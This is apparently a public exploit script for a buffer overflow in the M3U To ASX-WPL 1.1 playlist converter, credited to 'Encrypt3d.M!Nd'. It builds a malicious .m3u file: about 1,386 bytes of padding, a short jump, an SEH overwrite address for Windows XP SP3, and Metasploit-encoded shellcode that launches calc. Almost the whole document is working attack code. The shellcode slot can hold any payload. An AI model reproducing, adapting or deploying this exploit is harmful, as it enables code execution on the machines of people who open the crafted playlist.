#exploit.py
#
#    M3U To ASX-WPL 1.1 (m3u Playlist file) Buffer Overflow Exploit
#    By: Encrypt3d.M!Nd
#    http://m1nd3d.wordpress.com/
#
#################################################################
#
# SEH Overwrite method - you can use simple jmp esp
# accourding to my calculations EIP Would Change after
# 1378 bytes.it may be diffrent on other systems.
#

ns = "\xeb\x15\x90\x90"
sh = "\xbe\x2e\xd1\x72" # Windows XP sp3 - msacm32.drv

#
#windows/exec - 461 bytes
#http://www.metasploit.com
#Encoder: x86/alpha_upper
#EXITFUNC=thread, CMD=calc
#

shellcode = (
"\x89\xe2\xda\xc4\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30"
"\x43\x30\x43\x30\x45\x30\x4b\x39\x4b\x55\x46\x51\x49\x42\x42"
"\x44\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b"
"\x51\x42\x42\x34\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50"
"\x4a\x51\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x43\x32\x46\x4c\x47\x50\x49\x51\x48\x4f\x44"
"\x4d\x43\x31\x48\x47\x4a\x42\x4a\x50\x46\x32\x46\x37\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4c\x45\x4f\x30\x42\x54\x51\x5a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x44\x58\x4c\x4b\x50\x58\x47"
"\x50\x45\x51\x48\x53\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x46\x54"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x4f\x30\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x43\x31\x4f\x37\x46\x58\x4b\x50"
"\x43\x45\x4b\x44\x45\x53\x43\x4d\x4a\x58\x47\x4b\x43\x4d\x51"
"\x34\x43\x45\x4b\x52\x46\x38\x4c\x4b\x51\x48\x51\x34\x45\x51"
"\x4e\x33\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x45\x51\x48\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30"
"\x4d\x59\x47\x34\x47\x54\x46\x44\x51\x4b\x51\x4b\x43\x51\x46"
"\x39\x51\x4a\x50\x51\x4b\x4f\x4d\x30\x46\x38\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x43\x5a\x45\x51\x4c"
"\x4d\x4d\x55\x4f\x49\x45\x50\x43\x30\x45\x50\x46\x30\x42\x48"
"\x46\x51\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4d"
"\x30\x45\x4d\x47\x5a\x44\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x43\x4c\x44\x4a\x4d"
"\x50\x4b\x4b\x4d\x30\x42\x55\x45\x55\x4f\x4b\x51\x57\x42\x33"
"\x42\x52\x42\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x42"
"\x43\x43\x51\x42\x4c\x42\x43\x43\x30\x41\x41")

file=open('m3utoasx.m3u','w')
file.write("\x41" * 1386+ns+sh+"\x41" * 30+shellcode)
file.close()